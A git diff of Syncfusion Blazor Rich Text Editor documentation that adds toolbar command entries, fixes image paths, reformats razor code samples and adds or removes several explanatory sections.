+![Blazor RichTextEditor with allowed styles](./images/blazor-richtexteditor-allowedstyleproperties.gif)
 
 > This setting works only when `KeepFormat` is set to true. If `KeepFormat` is `false` or `PlainText` is `true`, style filtering via `AllowedStyleProperties` will not be applied.
 
diff --git a/blazor/rich-text-editor/quick-toolbar.md b/blazor/rich-text-editor/quick-toolbar.md
index 791bfc549c..76a06ba956 100644
--- a/blazor/rich-text-editor/quick-toolbar.md
+++ b/blazor/rich-text-editor/quick-toolbar.md
@@ -34,6 +34,11 @@ Customize the inserted image using the [RichTextEditorQuickToolbarSettings.Image
 | [Display](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_Display) | Display the image as inline or with break |
 | [AltText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_AltText) | Provide the alternative text for the image if the image is not present in the location |
 | [Dimension](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_Dimension) | Can change an image dimensions, such as its height and width |
+| [EditImageLink](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_EditImageLink) | Edit or update the existing hyperlink associated with the image |
+| [OpenImageLink](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_OpenImageLink) | Open the linked URL of the image in a new tab |
+| [RemoveImageLink](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_RemoveImageLink) | Remove the hyperlink associated with the image |
+| [HorizontalSeparator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_HorizontalSeparator) | Adds a horizontal separator line to group toolbar items visually |
+| [Separator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ImageToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_ImageToolbarCommand_Separator) | Adds spacing or a separator between toolbar items for better grouping |
 
 {% tabs %}
 {% highlight razor %}
@@ -78,6 +83,11 @@ The table quick toolbar appears when clicking on a table. You can customize the
 | [TableRemove](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_TableRemove) | Can be delete the entire table from editor |
 | [Alignments](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_Alignments) |  Can be aligned the table content|
 | [Styles](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_Alignments) | Can be style the table border |
+| [TableCellVerticalAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_TableCellVerticalAlign) | Can be used to set the vertical alignment of content within the selected table cells |
+| [TableCell](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_TableCell) | Provides options to merge or split table cells |
+| [TableEditProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_TableEditProperties) | Allows editing of table properties such as size, border, and alignment |
+| [HorizontalSeparator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_HorizontalSeparator) | Adds a horizontal separator line to group toolbar items visually |
+| [Separator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_Separator) | Adds spacing or a separator between toolbar items for better grouping |
 
 {% tabs %}
 {% highlight razor %}
@@ -120,6 +130,8 @@ Customize the inserted video using the [RichTextEditorQuickToolbarSettings.video
 | [VideoRemove](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.VideoToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_VideoToolbarCommand_VideoRemove) | Delete the video |
 | [VideoLayoutOption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.VideoToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_VideoToolbarCommand_VideoLayoutOption) | Display the video as inline or with break |
 | [VideoDimension](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.VideoToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_VideoToolbarCommand_VideoDimension) | Can change an video dimensions, such as its height and width|
+| [HorizontalSeparator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.VideoToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_VideoToolbarCommand_HorizontalSeparator) | Adds a horizontal separator line to group toolbar items visually |
+| [Separator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.VideoToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_VideoToolbarCommand_Separator) | Adds spacing or a separator between toolbar items for better grouping |
 
 {% tabs %}
 {% highlight razor %}
@@ -137,38 +149,11 @@ N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/bla
 
 By activating the [RichTextEditorQuickToolbarSettings.Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorQuickToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorQuickToolbarSettings_Text) property, the Rich Text Editor offers the ability to display a quick toolbar when needed. The floating toolbar shows up when you select or focus on editable text. By modifying the `RichTextEditorQuickToolbarSettings.Text` property, the commands shown in the text quick toolbar can be changed.
 
-{% tabs %}
-{% highlight razor %}
-
-private List<ToolbarItemModel> textQuickToolbarItems = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
-    };
-
-{% endhighlight %}
-{% endtabs %}
-
-Refer to the following link for a complete list of available toolbar items:
-
-https://blazor.syncfusion.com/documentation/rich-text-editor/tools/built-in-tools
+Refer to the following link for a complete list of available toolbar items: [Built-in Tools](https://blazor.syncfusion.com/documentation/rich-text-editor/tools/built-in-tools)
 
 {% tabs %}
 {% highlight razor %}
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorQuickToolbarSettings Text="@TextQuickToolbarItems"></RichTextEditorQuickToolbarSettings>
@@ -193,7 +178,7 @@ https://blazor.syncfusion.com/documentation/rich-text-editor/tools/built-in-tool
         new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
         new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
         new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }
     };
 }
 
diff --git a/blazor/rich-text-editor/resizable-editor.md b/blazor/rich-text-editor/resizable-editor.md
index efa08dc360..13507ec560 100644
--- a/blazor/rich-text-editor/resizable-editor.md
+++ b/blazor/rich-text-editor/resizable-editor.md
@@ -19,24 +19,12 @@ The Rich Text Editor supports dynamic resizing, allowing users to adjust the edi
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor resizing](../images/blazor-richtexteditor-resizing.png)
+![Blazor RichTextEditor resizing](./images/blazor-richtexteditor-resizing.png)
 
 ## Restrict resize
 
 To restrict the resizable area of the Rich Text Editor, define the `min-width`, `max-width`, `min-height`, and `max-height` CSS properties on the editor's container element. By default, the editor can be resized up to the limits of the current viewport. Use the `e-richtexteditor` CSS class to apply the following styles and control the resizing boundaries.
 
-```css
-<style>
-  .e-richtexteditor {
-      min-width: 200px;
-      max-width: 800px;
-      min-height: 100px;
-      max-height: 300px;
-  }
-</style>
-
-```
-
 {% tabs %}
 {% highlight cshtml %}
 
@@ -57,6 +45,6 @@ To restrict the resizable area of the Rich Text Editor, define the `min-width`,
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor restrict resize](../images/blazor-richtexteditor-restrict-resize.png)
+![Blazor RichTextEditor restrict resize](./images/blazor-richtexteditor-restrict-resize.png)
 
 N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
\ No newline at end of file
diff --git a/blazor/rich-text-editor/slash-commands.md b/blazor/rich-text-editor/slash-commands.md
index 95bd3b62f8..c92786046b 100644
--- a/blazor/rich-text-editor/slash-commands.md
+++ b/blazor/rich-text-editor/slash-commands.md
@@ -15,11 +15,9 @@ The slash menu in the Rich Text Editor offers users a streamlined way to apply f
 
 To enable the slash menu, set the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_Enable) property within [RichTextEditorSlashMenuSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html) to `true`. By default, this feature is disabled. Once enabled, the slash menu will appear when the user types the “/” character in the editor.
 
-N> The SlashMenu feature is currently not supported in iframe mode of the Rich Text Editor. We are actively working on this, and support for SlashMenu in iframe mode is planned for a future update.
-
 ## Configure the slash menu items
 
-The [RichTextEditorSlashMenuSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html) property allows customization of the `Items` displayed in the slash menu. By setting the [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_Items) property with a list of [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_SlashMenuItemModel), you can define which commands are available when a user types a slash (/) in the Rich Text Editor.
+The [RichTextEditorSlashMenuSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html) property allows customization of the `Items` displayed in the slash menu. By setting the [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_Items) property with a list of [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SlashMenuItemModel.html), you can define which commands are available when a user types a slash (/) in the Rich Text Editor.
 
 This list can include various formatting options such as paragraph and heading levels. Here’s an code snippet of configuring the slash menu items:
 
@@ -47,7 +45,7 @@ Below is a code snippet showing how to customize both the width and height of th
 
 ## Adding custom slash menu items
 
-Custom items can be added by defining the [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_Items) property within the [RichTextEditorSlashMenuSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html). This property should be a list of [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_SlashMenuItemModel) objects, which represent custom menu items. Each [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_SlashMenuItemModel) can be configured to include details such as text labels, icons, descriptions, and grouping information, allowing users to access tailored commands quickly using the slash (/) functionality in the Rich Text Editor.
+Custom items can be added by defining the [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorSlashMenuSettings_Items) property within the [RichTextEditorSlashMenuSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorSlashMenuSettings.html). This property should be a list of [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SlashMenuItemModel.html) objects, which represent custom menu items. Each [SlashMenuItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SlashMenuItemModel.html) can be configured to include details such as text labels, icons, descriptions, and grouping information, allowing users to access tailored commands quickly using the slash (/) functionality in the Rich Text Editor.
 
 Each custom slash menu item can include the following properties:
 
diff --git a/blazor/rich-text-editor/style.md b/blazor/rich-text-editor/style.md
index 215d6b01d2..9a3430da84 100644
--- a/blazor/rich-text-editor/style.md
+++ b/blazor/rich-text-editor/style.md
@@ -111,6 +111,8 @@ Use the following CSS to customize the default color in the Rich Text Editor's c
 }
 ```
 
+![Blazor RichTextEditor with customizing character count display](./images/blazor-richtexteditor-character-count.png)
+
 ## Modifying the editor container border
 
 Use the following CSS to customize the border color in the Rich Text Editor's container.
@@ -124,6 +126,8 @@ Use the following CSS to customize the border color in the Rich Text Editor's co
 
 ```
 
+![Blazor RichTextEditor with modifying container border](./images/blazor-richtexteditor-border.png)
+
 ## Source code view 
 
 The Rich Text Editor allows users to directly edit HTML code using the `Source View` mode. Changes made in Source View are instantly reflected in the editor's content, providing enhanced flexibility and control over content formatting.
@@ -142,20 +146,6 @@ The source code is presented with enhanced formatting and consistent indentation
 
 ![Blazor RichTextEditor with code view](./images/blazor-richtexteditor-code-view.png)
 
-### Refreshing the editor UI
-
-While rendering the Rich Text Editor inside the dialog component, the dialog container and its wrapper elements are styled with display: none, so the editor’s toolbar does not get the proper offset width and will render above the edit area container. To resolve this issue, call the `RefreshUI` method of the RichTextEditor in the dialog's opened event.
-
-{% tabs %}
-{% highlight razor %}
-
-{% include_relative code-snippet/refresh.razor %}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor RichTextEditor with refresh editor](./images/blazor-richtexteditor-refresh-editor.png)
-
 ## Highlight the specific lines
 
 Programmatically highlight a portion of the text in the editor, like setting the background color of the text by applying background style to the particular text using the RichTextEditor [ExecuteCommand](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ExecuteCommandOption.html) method and the `jsinterop` method.
@@ -223,4 +213,4 @@ Now, add the Syncfusion<sup style="font-size:70%">&reg;</sup> RichTextEditor com
 
 ![Blazor RichTextEditor with highlight the specific lines](./images/blazor-richtexteditor-highlight-line.gif)
 
-N> Refer to the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) feature tour page for its groundbreaking feature representations. Also, explore [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
\ No newline at end of file
+N> Refer to the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) feature tour page for its groundbreaking feature representations. Also, explore [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
diff --git a/blazor/rich-text-editor/toolbar.md b/blazor/rich-text-editor/toolbar.md
index a8425ce42c..7da077a194 100644
--- a/blazor/rich-text-editor/toolbar.md
+++ b/blazor/rich-text-editor/toolbar.md
@@ -60,7 +60,7 @@ The [Scrollable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTex
 
 ![Blazor RichTextEditor multirow toolbar](./images/blazor-richtexteditor-scrollable-toolbar.png)
 
-## Configuring a popup toolbar
+## Popup toolbar
 
 The [Popup](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ToolbarType.html#Syncfusion_Blazor_RichTextEditor_ToolbarType_Popup) toolbar property displays items in a popup container, ideal for limited space or smaller screens.
 
@@ -74,7 +74,7 @@ The [Popup](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEdit
 
 ![Blazor RichTextEditor multirow toolbar](./images/blazor-richtexteditor-popup-toolbar.png)
 
-## Floating toolbar
+## Configuring a Floating toolbar
 
 By default, toolbar is float at the top of the Rich Text Editor on scrolling. It can be customized by specifying the offset of the floating toolbar from documents top position using [FloatingToolbarOffset](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_FloatingToolbarOffset).
 
@@ -85,9 +85,10 @@ You can enable or disable the floating toolbar using [RichTextEditorToolbarSetti
 
 @using Syncfusion.Blazor.RichTextEditor
 
-<SfRichTextEditor Height="800px">
+<SfRichTextEditor Height="250px">
     <RichTextEditorToolbarSettings EnableFloating="true" />
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
+    <h2>Welcome to the Syncfusion Rich Text Editor</h2><p>The Rich Text Editor, a WYSIWYG (what you see is what you get) editor, is a user interface that allows you to create, edit, and format rich text content. You can try out a demo of this editor here.</p><h3>Do you know the key features of the editor?</h3>
+    <ul><li>Basic features include headings, block quotes, numbered lists, bullet lists, and support to insert images, tables, audio, and video.</li> <li>Inline styles include <b>bold</b>, <em>italic</em>, <span style="text-decoration: underline">underline</span>, <span style="text-decoration: line-through">strikethrough</span>, <a class="e-rte-anchor" href="https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=material3" title="https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=material3" aria-label="Open in new window">hyperlinks</a>,<code>InlineCode</code> and more.</li> <li>The toolbar has multi-row, expandable, and scrollable modes. The Editor supports an inline toolbar, a floating toolbar, and custom toolbar items.</li></ul>
 </SfRichTextEditor>
 
 {% endhighlight %}
diff --git a/blazor/rich-text-editor/tools/audio.md b/blazor/rich-text-editor/tools/audio.md
index e7d18a64ee..fe9970f957 100644
--- a/blazor/rich-text-editor/tools/audio.md
+++ b/blazor/rich-text-editor/tools/audio.md
@@ -23,6 +23,8 @@ The Rich Text Editor allows inserting audio files from online sources and the lo
 
 To include the audio tool in the Rich Text Editor, you can add the toolbar item `Audio` to the [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/aspnetmvc-js2/Syncfusion.EJ2.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_EJ2_RichTextEditor_RichTextEditorToolbarSettings_Items) property.
 
+![Blazor RichTextEditor audio](../images/blazor-richtexteditor-audio.png)
+
 To configure `Audio` toolbar item, refer to the below code.
 
 {% tabs %}
@@ -175,7 +177,7 @@ Once an audio file has been inserted, you can change it using the Rich Text Edit
 
 To remove audio from the Rich Text Editor content, select audio and click the `Remove` tool from the quick toolbar. It will delete the audio from the Rich Text Editor content.
 
-Once you select the audio from the local machine, the URL for the audio will be generated. You can remove the audio from the service location by clicking the cross icon.
+Once you select the audio from the local machine, the URL for the audio will be generated. You can remove the audio from the service location by clicking the delete icon.
 
 ![Blazor RichTextEditor remove audio](../images/blazor-richtexteditor-audio-remove.png)
 
@@ -183,6 +185,8 @@ Once you select the audio from the local machine, the URL for the audio will be
 
 Sets the default display for an audio file when it is inserted in the Rich Text Editor using the [RichTextEditorMediaSettings.layoutOption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMediaSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorMediaSettings_LayoutOption) property. The possible options are `inline` and `break.` It also updates the audio elements’ layout position when updating the display positions.
 
+![Blazor RichTextEditor audio display](../images/blazor-richtexteditor-audio-display.png)
+
 N> The default `layoutOption` property is set to `Inline`.
 
 {% tabs %}
@@ -211,8 +215,14 @@ Server upload: Use the `SaveUrl` property to upload audio files to your server b
 
 You can prevent drag-and-drop action by setting the `OnMediaDrop` argument cancel value to true. The following code shows how to prevent the drag-and-drop.
 
-```
-<RichTextEditorEvents OnMediaDrop="@OnMediaDrop"></RichTextEditorEvents>
+{% tabs %}
+{% highlight razor %}
+
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor>
+    <RichTextEditorEvents OnMediaDrop="@OnMediaDrop"></RichTextEditorEvents>
+</SfRichTextEditor>
 @code{
     private void OnMediaDrop(MediaDropEventArgs args)
     {
@@ -221,7 +231,10 @@ You can prevent drag-and-drop action by setting the `OnMediaDrop` argument cance
         }
     }
 }
-```
+
+{% endhighlight %}
+{% endtabs %}
+
 ## Rename audio before inserting
 
 Using the [RichTextEditorAudioSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorAudioSettings.html) property, specify the server handler to upload the selected audio. Then, by binding the `FileUploadSuccess` event, you will receive the modified file name from the server and update it in the Rich Text Editor's insert audio dialog.
@@ -416,8 +429,3 @@ namespace AudioUpload.Controllers
 ## Paste audio into the editor
 
 The Rich Text Editor supports pasting audio files directly into the editor content. You can paste single or multiple audio files from your file system directly into the editor.
-
-## See also
-
-* [How to configuring the toolbar position](https://blazor.syncfusion.com/documentation/rich-text-editor/toolbar#configuring-the-toolbar-position)
-* [How to use link editing option in the toolbar items](../tools#insert-link)
diff --git a/blazor/rich-text-editor/tools/built-in-tools.md b/blazor/rich-text-editor/tools/built-in-tools.md
index 6bd0315e37..a2a23888e0 100644
--- a/blazor/rich-text-editor/tools/built-in-tools.md
+++ b/blazor/rich-text-editor/tools/built-in-tools.md
@@ -72,6 +72,7 @@ Tools here allow users to create ordered and unordered lists, change the list st
 | UnorderedList | ![UnorderedList icon](../images/unorder-list.png) | Create a new list item(bulleted). |
 | NumberFormatList | ![NumberFormatList icon](../images/number-format.png) | Allows to create list items with various list style types(numbered).|
 | BulletFormatList | ![BulletFormatList icon](../images/bullet-format.png) | Allows to create list items with various list style types(bulleted).|
+| CheckList | ![CheckList icon](../images/checklist.png) | Allows creating checklist items with selectable (checked/unchecked) states.|
 | Indent | ![Indent icon](../images/increase-indent.png) | Allows to increase the indent level of the content.|
 | Outdent | ![Outdent icon](../images/decrease-indent.png) | Allows to decrease the indent level of the content.|
 
@@ -81,7 +82,6 @@ This section provides tools for inserting and managing hyperlinks within the con
 
 | Name | Icons | Summary | 
 |----------------|---------|---------|
-| Hyperlink | ![Hyperlink icon](../images/create-link.png) | Creates a hyperlink to a text or image to a specific location in the content.|
 | InsertLink | ![InsertLink icon](../images/create-link.png) |Allows users to add a link to a particular item. |
 
 #### Link quicktoolbar items
@@ -110,7 +110,8 @@ The image quicktoolbar offers a set of tools to edit images inserted in the Rich
 |----------------|---------|---------|
 | Replace Image  | ![Replace icon](../images/image-replace.png) | Replace the selected image with another image. | 
 | Align Image | ![Alignment icon](../images/alignments.png) | The image can be aligned to the right, left, or center. | 
-| Remove Image | ![Remove icon](../images/table-remove.png) | Allows to remove the selected image from the editor. | 
+| Remove Image | ![Remove icon](../images/table-remove.png) | Allows to remove the selected image from the editor. |
+| Hyperlink | ![Hyperlink icon](../images/create-link.png) | Creates a hyperlink to a text or image to a specific location in the content.| 
 | OpenImageLink | ![OpenImageLink icon](../images/open-link.png) | Opens the link that is attached to the selected image. | 
 | EditImageLink | ![EditImageLink icon](../images/edit-link.png) | Allows to edit the link that is attached to the selected image. |
 | RemoveImageLink | ![RemoveImageLink icon](../images/remove-link.png) | Removes the link that is attached to the selected image. | 
@@ -136,9 +137,10 @@ The table quicktoolbar provides options for table editing within the Rich Text E
 | TableHeader | ![TableHeader icon](../images/table-headers.png) | Allows you to add a table header. |
 | TableColumns | ![TableColumns icon](../images/table-columns.png) | Shows the dropdown to insert a column or delete the selected column. |
 | TableRows | ![TableRows icon](../images/table-row.png) | Shows the dropdown to insert a row ors delete the selected row. | 
-| TableCellHorizontalAAlignmentslign | ![TableCellHorizontalAlign icon](../images/alignments.png) | Allows the table cell content to be aligned horizontally. | 
+| Alignments | ![Alignments icon](../images/alignments.png) | Allows the table cell content to be aligned horizontally. | 
 | TableCellVerticalAlign | ![TableCellVerticalAlign icon](../images/vertical-align.png) | Allows the table cell content to be aligned vertically. | 
 | TableEditProperties | ![TableEditProperties icon](../images/table-edit.png) | Allows you to change the table width, padding, and cell spacing styles. |
+| Styles | ![Styles icon](../images/table-styles.png) | Provides options to customize table border styles. |
 
 ### Horizontal Line
 
@@ -154,8 +156,8 @@ These tools allow users to easily undo or redo any changes made within the edito
 
 | Name | Icons | Summary |
 |----------------|---------|---------|
-| Undo | ![Undo icon](../images/undo.png) | Allows to undo the actions.|toolbarSettings: { items: ['Undo']} |
-| Redo | ![Redo icon](../images/redo.png) | Allows to redo the actions.|toolbarSettings: { items: ['Redo']}|
+| Undo | ![Undo icon](../images/undo.png) | Allows to undo the actions.|
+| Redo | ![Redo icon](../images/redo.png) | Allows to redo the actions.|
 
 ### Other tools
 
@@ -170,6 +172,11 @@ This section contains miscellaneous tools such as full-screen mode, print, previ
 | Print | ![Print icon](../images/print.png) | Allows to print the editor content. |
 | ClearAll | ![ClearAll icon](../images/clear-all.png) | Removes all styles that have been applied to the selected text.| 
 | SourceCode | ![SourceCode icon](../images/code-view.png)  | Rich Text Editor includes the ability for users to directly edit HTML code via “Source View”. If you made any modification in Source view directly, synchronize with Design view.|
+| Insert Code Block | ![CodeBlock icon](../images/insert-code-block.png) | Allows inserting code snippets in a formatted and structured way within the editor.|
+| LineHeight | ![LineHeight icon](../images/line-height.png) | Allows adjusting the spacing between lines of text within the editor.|
+| ImportWord | ![ImportWord icon](../images/import-word.png) | Imports content from a Word document into the editor.|
+| ExportWord | ![ExportWord icon](../images/export-word.png) | Exports the editor content as a Word document.|
+| ExportPdf | ![ExportPdf icon](../images/export-pdf.png) | Exports the editor content as a PDF file.|
 
 ## Removing built-in tool from toolbar
 
diff --git a/blazor/rich-text-editor/tools/code-block.md b/blazor/rich-text-editor/tools/code-block.md
index 0554e5cc70..bb7df10b53 100644
--- a/blazor/rich-text-editor/tools/code-block.md
+++ b/blazor/rich-text-editor/tools/code-block.md
@@ -30,8 +30,9 @@ Below is an example of how to configure the `RichTextEditorCodeBlockSettings` us
 ```cshtml
 
 @using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor ID="code-block">
-    <RichTextEditorCodeBlockSettings Languages="languages" DefaultLanguage="plaintext"></RichTextEditorCodeBlockSettings>
+    <RichTextEditorCodeBlockSettings Languages="languages" DefaultLanguage="javascript"></RichTextEditorCodeBlockSettings>
     <RichTextEditorToolbarSettings Items="Tools"></RichTextEditorToolbarSettings>
 </SfRichTextEditor>
 @code {
@@ -76,7 +77,7 @@ Below is an example of how to configure the `RichTextEditorCodeBlockSettings` us
         new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
         new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
         new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode }
     };
 }
 
@@ -84,13 +85,13 @@ Below is an example of how to configure the `RichTextEditorCodeBlockSettings` us
 
 In this example:
 
-* The **Languages** array defines four supported languages: JavaScript, Python, HTML, and CSS.
+* The **Languages** array defines four supported languages: JavaScript, Plaintext, HTML, and CSS.
 * The **DefaultLanguage** is set to **javascript**, so new code blocks default to JavaScript.
 * Each language object specifies a **Language** (for internal use, e.g., syntax highlighting) and a **Label** (displayed in the dropdown).
 
 ## Integrating syntax highlighters
 
-To enhance code block readability, integrate a third-party syntax highlighter like [Prism.js](https://prismjs.com/) or [Highlight.js](https://highlightjs.org/), which supports numerous languages and customizable themes. Although live code block highlighting (real-time syntax highlighting during editing) is not possible in the Rich Text Editor, The highlighter can apply color-coded formatting to code blocks when the content is displayed on the frontend, such as in blog posts, website content, or preview mode. This ensures a polished presentation for end users.
